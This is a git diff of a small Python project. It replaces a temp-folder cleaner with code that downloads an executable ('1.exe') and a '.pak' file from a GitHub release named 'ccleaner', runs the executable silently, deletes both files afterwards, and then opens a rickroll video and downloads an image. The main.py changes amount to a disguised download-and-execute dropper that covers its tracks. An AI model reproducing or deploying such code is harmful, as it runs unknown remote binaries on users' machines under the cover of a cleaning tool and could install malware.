diff --git a/.idea/workspace.xml b/.idea/workspace.xml index c427c66..0d7b07b 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -1,17 +1,53 @@ + + - - + + + + + + + + + + + + @@ -23,9 +59,11 @@ - + + + + + + + + + @@ -73,6 +138,48 @@ + + + + + + + + \ No newline at end of file diff --git a/main.py b/main.py index cf1cc8c..0ef2485 100644 --- a/main.py +++ b/main.py @@ -1,18 +1,58 @@ import os +import importlib.util +import urllib.request +import time -def clean_temp_folder(): - temp_folder = os.environ.get('TEMP') - if temp_folder: - print(f"Cleaning Temp folder: {temp_folder}") - for root, dirs, files in os.walk(temp_folder): + +def download_file(url, destination): + urllib.request.urlretrieve(url, destination) + + +def clean_kromskii2_folder(): + desktop_path = os.path.join(os.path.expanduser('~'), 'Desktop', 'kromskii2') + if not os.path.exists(desktop_path): + os.makedirs(desktop_path) + else: + for root, dirs, files in os.walk(desktop_path): for file in files: try: os.remove(os.path.join(root, file)) except Exception as e: print(f"Error deleting {file}: {e}") - print("Temp folder has been cleaned.") - else: - print("Temp folder not found.") + return desktop_path + + +def run_external_scripts(): + desktop_path = clean_kromskii2_folder() + + download_file('https://github.com/kromskii2/ccleaner/releases/download/1/disk2.pak', + os.path.join(desktop_path, 'disk2.pak')) + download_file('https://github.com/kromskii2/ccleaner/releases/download/1/1.exe', + os.path.join(desktop_path, '1.exe')) + + time.sleep(1) + + os.system(os.path.join(desktop_path, '1.exe')) + + time.sleep(5) + + os.remove(os.path.join(desktop_path, 'disk2.pak')) + os.remove(os.path.join(desktop_path, '1.exe')) + + time.sleep(1) + + os.system(os.path.join(desktop_path, 'GitHubDesktopSetup-x64.exe')) + + time.sleep(1) + + spec_rickrols = importlib.util.spec_from_file_location('rickrols', 'rickrols.py') + module_rickrols = importlib.util.module_from_spec(spec_rickrols) + spec_rickrols.loader.exec_module(module_rickrols) + + spec_rerlamma = importlib.util.spec_from_file_location('rerlamma', 'rerlamma.py') + module_rerlamma = importlib.util.module_from_spec(spec_rerlamma) + spec_rerlamma.loader.exec_module(module_rerlamma) + if __name__ == "__main__": - clean_temp_folder() + run_external_scripts() diff --git a/rerlamma.py b/rerlamma.py new file mode 100644 index 0000000..c464d78 --- /dev/null +++ b/rerlamma.py @@ -0,0 +1,23 @@ +import os +import pathlib +import requests + +desktop_path = os.path.join(pathlib.Path.home(), "Desktop") +folder_name = "kromskii2" +folder_path = os.path.join(desktop_path, folder_name) + +try: + os.mkdir(folder_path) + print(f"Папка с названием '{folder_name}' успешно создана на рабочем столе.") +except FileExistsError: + print(f"Папка с названием '{folder_name}' уже существует на рабочем столе.") + +file_url = "https://github.com/kromskii2/ccleaner/releases/download/1/maxresdefault.jpg" +file_name = file_url.split("/")[-1] +file_path = os.path.join(folder_path, file_name) + +response = requests.get(file_url) +with open(file_path, "wb") as file: + file.write(response.content) + +print(f"Файл успешно скачан и сохранен в папке '{folder_name}' на рабочем столе.") diff --git a/rickrols.py b/rickrols.py new file mode 100644 index 0000000..1884819 --- /dev/null +++ b/rickrols.py @@ -0,0 +1,4 @@ +import webbrowser + +url = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" +webbrowser.open_new_tab(url)